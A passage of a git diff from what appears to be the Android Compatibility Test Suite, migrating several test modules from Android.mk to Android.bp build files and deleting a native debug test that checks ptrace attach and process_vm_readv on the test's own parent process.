-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.debug.cts"
-                     android:label="CTS tests of native debugging API">
-    </instrumentation>
-
-</manifest>
-
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
deleted file mode 100644
index c6d6de3..0000000
--- a/tests/tests/debug/AndroidTest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Debug test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="devtools" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDebugTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.debug.cts" />
-        <option name="runtime-hint" value="0m5s" />
-    </test>
-</configuration>
diff --git a/tests/tests/debug/libdebugtest/Android.mk b/tests/tests/debug/libdebugtest/Android.mk
deleted file mode 100644
index d3db70f..0000000
--- a/tests/tests/debug/libdebugtest/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libdebugtest
-
-LOCAL_CFLAGS := -Wall -Werror
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	android_debug_cts.cpp
-
-LOCAL_SHARED_LIBRARIES := liblog
-LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
-
-LOCAL_SDK_VERSION := 23
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/debug/libdebugtest/android_debug_cts.cpp b/tests/tests/debug/libdebugtest/android_debug_cts.cpp
deleted file mode 100644
index 3aa4318..0000000
--- a/tests/tests/debug/libdebugtest/android_debug_cts.cpp
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <gtest/gtest.h>
-#include <android/log.h>
-
-#include <errno.h>
-#include <sys/ptrace.h>
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include <functional>
-#include <vector>
-
-#define LOG_TAG "Cts-DebugTest"
-
-// Used by child processes only
-#define assert_or_exit(x)                                                                         \
-    do {                                                                                          \
-        if(x) break;                                                                              \
-        __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, "Assertion " #x " failed. errno(%d): %s", \
-                errno, strerror(errno));                                                          \
-        _exit(1);                                                                                 \
-    } while (0)
-
-static void parent(pid_t child) {
-    int status;
-    int wpid = waitpid(child, &status, 0);
-    ASSERT_EQ(child, wpid);
-    ASSERT_TRUE(WIFEXITED(status));
-    ASSERT_EQ(0, WEXITSTATUS(status));
-}
-
-static void run_test(const std::function<void(pid_t)> &test) {
-    pid_t pid = fork();
-    ASSERT_NE(-1, pid) << "fork() failed with " << strerror(errno);
-    if (pid != 0) {
-        parent(pid);
-    } else {
-        // child
-        test(getppid());
-        _exit(0);
-    }
-}
-
-static void ptraceAttach(pid_t parent) {
-    assert_or_exit(ptrace(PTRACE_ATTACH, parent, nullptr, nullptr) == 0);
-    int status;
-    assert_or_exit(waitpid(parent, &status, __WALL) == parent);
-    assert_or_exit(WIFSTOPPED(status));
-    assert_or_exit(WSTOPSIG(status) == SIGSTOP);
-
-    assert_or_exit(ptrace(PTRACE_DETACH, parent, nullptr, nullptr) == 0);
-}
-
-TEST(DebugTest, ptraceAttach) {
-    run_test(ptraceAttach);
-}
-
-static void processVmReadv(pid_t parent, const std::vector<long *> &addresses) {
-    long destination;
-    iovec local = { &destination, sizeof destination };
-
-    for (long *address : addresses) {
-        // Since we are forked, the address will be valid in the remote process as well.
-        iovec remote = { address, sizeof *address };
-        __android_log_print(ANDROID_LOG_INFO, LOG_TAG, "%s About to read %p\n", __func__,
-                            address);
-        assert_or_exit(process_vm_readv(parent, &local, 1, &remote, 1, 0) == sizeof destination);
-
-        // Compare the data with the contents of our memory.
-        assert_or_exit(destination == *address);
-    }
-}
-
-static long global_variable = 0x47474747;
-// public static native boolean processVmReadv();
-TEST(DebugTest, processVmReadv) {
-    long stack_variable = 0x42424242;
-    // This runs the test with a selection of different kinds of addresses and
-    // makes sure the child process (simulating a debugger) can read them.
-    run_test([&](pid_t parent) {
-        processVmReadv(parent, std::vector<long *>{
-                                   &global_variable, &stack_variable,
-                                   reinterpret_cast<long *>(&processVmReadv)});
-    });
-}
-
-// public static native boolean processVmReadvNullptr();
-TEST(DebugTest, processVmReadvNullptr) {
-    // Make sure reading unallocated memory behaves reasonably.
-    run_test([](pid_t parent) {
-        long destination;
-        iovec local = {&destination, sizeof destination};
-        iovec remote = {nullptr, sizeof(long)};
-
-        assert_or_exit(process_vm_readv(parent, &local, 1, &remote, 1, 0) == -1);
-        assert_or_exit(errno == EFAULT);
-    });
-}
diff --git a/tests/tests/debug/src/android/debug/cts/DebugTest.java b/tests/tests/debug/src/android/debug/cts/DebugTest.java
deleted file mode 100644
index 993f02b..0000000
--- a/tests/tests/debug/src/android/debug/cts/DebugTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.debug.cts;
-
-import org.junit.runner.RunWith;
-import com.android.gtestrunner.GtestRunner;
-import com.android.gtestrunner.TargetLibrary;
-
-@RunWith(GtestRunner.class)
-@TargetLibrary("debugtest")
-public class DebugTest {}
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
new file mode 100644
index 0000000..ac6c955
--- /dev/null
+++ b/tests/tests/display/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDisplayTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
deleted file mode 100644
index 99efc20..0000000
--- a/tests/tests/display/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsDisplayTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
new file mode 100644
index 0000000..88706bb
--- /dev/null
+++ b/tests/tests/dpi/Android.bp
@@ -0,0 +1,49 @@
+//
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsDpiTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "junit",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
+
+// ============================================================
+
+// DefaultManifestAttributesTest can be used as a base class for other
+// CTS tests, so drop it into a library that other tests can use.
+java_library {
+    name: "android.cts.dpi",
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/android/dpi/cts/DefaultManifestAttributesTest.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
deleted file mode 100644
index a4c3315..0000000
--- a/tests/tests/dpi/Android.mk
+++ /dev/null
@@ -1,56 +0,0 @@
-#
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDpiTestCases
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
-
-# ============================================================
-
-# DefaultManifestAttributesTest can be used as a base class for other
-# CTS tests, so drop it into a library that other tests can use.
-include $(CLEAR_VARS)
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := src/android/dpi/cts/DefaultManifestAttributesTest.java
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := android.cts.dpi
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java b/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
index 940cdf5..d66033a 100644
--- a/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/DefaultManifestAttributesSdkTest.java
@@ -33,6 +33,8 @@
      */
     @RestrictedBuildTest
     public void testPackageHasExpectedSdkVersion() {
-        assertEquals(Build.VERSION.SDK_INT, getAppInfo().targetSdkVersion);
+        assertTrue("targetSdkVersion=" + getAppInfo().targetSdkVersion
+                + " must be at least " + Build.VERSION.SDK_INT,
+                getAppInfo().targetSdkVersion >= Build.VERSION.SDK_INT);
     }
 }
diff --git a/tests/tests/dpi2/Android.bp b/tests/tests/dpi2/Android.bp
new file mode 100644
index 0000000..9af9055
--- /dev/null
+++ b/tests/tests/dpi2/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsDpiTestCases2",
+    defaults: ["cts_defaults"],
+    // We use the DefaultManifestAttributesTest from the android.cts.dpi package.
+    static_libs: [
+        "android.cts.dpi",
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    min_sdk_version: "3",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
deleted file mode 100644
index ec7b751..0000000
--- a/tests/tests/dpi2/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# We use the DefaultManifestAttributesTest from the android.cts.dpi package.
-LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner-axt junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDpiTestCases2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/Android.bp b/tests/tests/dreams/Android.bp
new file mode 100644
index 0000000..d1ba152
--- /dev/null
+++ b/tests/tests/dreams/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDreamsTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "junit",
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Need access to ServiceManager - see b/13307221
+    // sdk_version: "current",
+    platform_apis: true,
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
deleted file mode 100644
index b27b989..0000000
--- a/tests/tests/dreams/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDreamsTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
-
-LOCAL_JAVA_LIBRARIES :=  android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Need access to ServiceManager - see b/13307221
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/drm/Android.bp b/tests/tests/drm/Android.bp
new file mode 100644
index 0000000..57b9332
--- /dev/null
+++ b/tests/tests/drm/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//   http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDrmTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions of libs
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    jni_libs: [
+        "libctsdrm_jni",
+        "libdrmtestplugin",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
deleted file mode 100644
index 0b47c85..0000000
--- a/tests/tests/drm/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#   http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Include both the 32 and 64 bit versions of libs
-LOCAL_MULTILIB := both
-
-LOCAL_MODULE_TAGS := tests
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDrmTestCases
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-	libctsdrm_jni \
-	libdrmtestplugin
-
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/drm/jni/Android.bp b/tests/tests/drm/jni/Android.bp
new file mode 100644
index 0000000..ce14d1e
--- /dev/null
+++ b/tests/tests/drm/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsdrm_jni",
+    srcs: [
+        "CtsDrmJniOnLoad.cpp",
+        "android_drm_cts_NativeCodeTest.cpp",
+    ],
+    gtest: false,
+    shared_libs: [
+        "liblog",
+        "libdl",
+    ],
+    sdk_version: "23",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+}
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
deleted file mode 100644
index 113bef8..0000000
--- a/tests/tests/drm/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsdrm_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsDrmJniOnLoad.cpp \
-		android_drm_cts_NativeCodeTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := liblog libdl
-LOCAL_SDK_VERSION := 23
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/drm/lib/Android.bp b/tests/tests/drm/lib/Android.bp
new file mode 100644
index 0000000..2724d2b
--- /dev/null
+++ b/tests/tests/drm/lib/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libdrmtestplugin",
+    cflags: [
+        "-Wall",
+        "-Wextra",
+        "-Wunused",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    gtest: false,
+    srcs: ["TestPlugin.cpp"],
+    shared_libs: [
+        "liblog",
+        "libutils",
+    ],
+    static_libs: ["libdrmframeworkcommon"],
+}
diff --git a/tests/tests/drm/lib/Android.mk b/tests/tests/drm/lib/Android.mk
deleted file mode 100644
index 73d2fe5..0000000
--- a/tests/tests/drm/lib/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_CFLAGS := -Wall -Wextra -Wunused -Werror \
-	-Wno-unused-parameter
-
-LOCAL_MODULE := libdrmtestplugin
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-		TestPlugin.cpp
-
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	$(TOP)/frameworks/av/drm/libdrmframework/plugins/common/include
-
-LOCAL_SHARED_LIBRARIES := \
-	liblog \
-	libutils
-
-LOCAL_STATIC_LIBRARIES := \
-	libdrmframeworkcommon
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/dynamic_linker/Android.bp b/tests/tests/dynamic_linker/Android.bp
new file mode 100644
index 0000000..76b6603
--- /dev/null
+++ b/tests/tests/dynamic_linker/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libdynamiclinker_native_lib_a",
+    srcs: ["native_lib_a.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    strip: {
+        none: true,
+    },
+    stl: "libc++_static",
+}
+
+cc_test_library {
+    name: "libdynamiclinker_native_lib_b",
+    srcs: ["native_lib_b.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    strip: {
+        none: true,
+    },
+    stl: "libc++_static",
+}
+
+android_test {
+    name: "CtsDynamicLinkerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["**/*.java"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libdynamiclinker_native_lib_a",
+        "libdynamiclinker_native_lib_b",
+    ],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+    use_embedded_native_libs: true,
+}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
deleted file mode 100644
index 7d1d574..0000000
--- a/tests/tests/dynamic_linker/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libdynamiclinker_native_lib_a
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := native_lib_a.cpp
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
